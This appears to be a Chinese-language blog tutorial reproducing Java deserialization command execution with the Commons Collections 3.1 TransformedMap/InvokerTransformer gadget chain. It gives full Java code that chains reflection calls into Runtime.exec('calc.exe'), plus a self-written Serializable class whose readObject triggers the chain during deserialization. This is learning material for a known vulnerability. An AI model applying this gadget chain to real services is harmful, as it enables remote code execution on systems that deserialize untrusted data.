java反序列化命令执行测试实践
java的序列化和反序列化就不解释了。直接测试。
首先测试命令执行原理。
1.创建一个maven项目
2.引入有漏洞版本的依赖
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
3.创建一个测试执行类
Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换。Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,只需要传入方法名、参数类型和参数,即可调用任意函数。先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()
构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换
测试代码:
public void rceTest(){ //transformer链 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})}; //能够执行代码的ChainedTransformer Transformer transformedChain = new ChainedTransformer(transformers); //创建一个map Map innerMap = new HashMap(); innerMap.put("1", "test"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); //setValue()时,会触发ChainedTransformer中的一系列变换函数 onlyElement.setValue("test2"); }
在main函数中调用该类并执行
这里我理解的思路就是 TransformedMap.decorate()方法获得一个TransformedMap的实例,要想获得这个实例,首先需要一个map实例。所以要先定义一个map,TransformedMap这个实例在元素被更改时,会触发ChainedTransformer中预先定义好的操作,定义了什么操作呢?由Transformer[]中通过java反射机制预先定好的命令执行操作。
为了让反序列化过程中,readObject直接触发命令执行,那么如果有一个类,它重写了readObject,那么调用readObject这个函数时就会优先执行这个类中的readObject,然后就那么巧,这个重写的readObject类还就对map中的元素进行了更改,那不就正好能够命令执行了吗。
网上的文章大部分是AnnotationInvocationHandler类
这个类重写了readObject,并且对map进行了元素的更改。但是很奇怪的是,在复现的时候,没有成功执行,有的说是jdk的原因,没有深究了。
那就换一个思路,自己写这样的一个类试试。他要重写readObject并且对map元素进行更改,并且这个map类可控,我们可以把预先精心准备好的map传入进去。
比如:
public class SerObj implements Serializable {
public Map map;
private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException , IOException {
in.defaultReadObject();
Map.Entry e = (Map.Entry)map.entrySet().iterator().next();
e.setValue("test3");
}
}
然后我们创建一个SerObj的实例,将精心设计的map传入后,进行序列化。
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.HashMap; import java.util.Map; public class TestWriteObject { public void testWriteObject() throws IOException { //transformer链 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})}; //能够执行代码的ChainedTransformer Transformer transformedChain = new ChainedTransformer(transformers); SerObj serObj=new SerObj(); Map<String,String> beforeMap = new HashMap<String,String>(); beforeMap.put("1", "test"); Map afterMap = TransformedMap.decorate(beforeMap, null, transformedChain); //将我们精心设计的map传入 serObj.map=afterMap; FileOutputStream fos =new FileOutputStream("aa.ser"); ObjectOutputStream os=new ObjectOutputStream(fos); os.writeObject(serObj); os.close(); } }
然后main中执行反序列化读取,尝试是否可以命令执行
public class TestReadObject { public void testReadObject() throws IOException, ClassNotFoundException { FileInputStream fis =new FileInputStream("aa.ser"); ObjectInputStream os =new ObjectInputStream(fis); os.readObject(); os.close(); } }
参考代码:
https://github.com/testwc/sertest